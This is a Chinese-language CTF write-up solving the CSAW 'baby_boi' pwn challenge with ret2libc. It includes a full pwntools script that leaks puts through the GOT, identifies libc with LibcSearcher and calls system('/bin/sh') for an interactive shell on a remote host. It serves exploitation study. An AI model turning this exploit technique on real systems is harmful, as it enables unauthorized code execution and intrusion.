[WP] CSAW baby_boi 复现
等我看到这个比赛的时候它已经结束了...
题目还能下 ,在自己的服务器上搭了一下环境 nc 106.12.39.38 102
64位 , 溢出点长度无限 ,无system但是有输出
标准的ret2libc的解法
获取gadget
感觉只需要一个参数,就只取了一个pop rdi ret'
接下来使用puts泄露puts的got内容
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start)
原题给了libc ,然而在我这里没什么用 ,使用LibcSearcher 获取 libc版本
a=p.recvline()[-8:-1]
putsaddr=u64(a.ljust(8,'\x00'))
print hex(putsaddr)
libc=LibcSearcher('puts',putsaddr)接着获取基址和system函数与'/bin/sh'字符串的偏移并算出真实地址
构建payload2
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys)
获取flag
payload:
from pwn import *
from LibcSearcher import *
p=remote("106.12.39.38",102)
#p=process('/mnt/hgfs/Desktop/baby_boi')
poprdi=0x0000000000400793
start=0x00000000004005A0
context.log_level = 'debug'
elf=ELF('/mnt/hgfs/Desktop/baby_boi')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
print putsplt
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start)
p.sendline(payload)
print '1:'+p.recvline()
b=int(p.recvline()[13:],16)
print '2:'+hex(b)
sleep(1)
a=p.recvline()[-8:-1]
putsaddr=u64(a.ljust(8,'\x00'))
print hex(putsaddr)
libc=LibcSearcher('puts',putsaddr)
putsof=libc.dump('puts')
print putsof
base=putsaddr-putsof
sys=libc.dump('system')+base
print hex(sys)
bin=libc.dump('str_bin_sh')+base
print hex(base)
print hex(putsaddr)
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys)
p.sendline(payload)
p.interactive()其实不用这么复杂
刚开始想着把'/bin/sh'直接让程序读到变量里(因为程序输出了变量的地址)
不知道哪里出问题一直报错
后来才在libc里找现成的字符串直接用



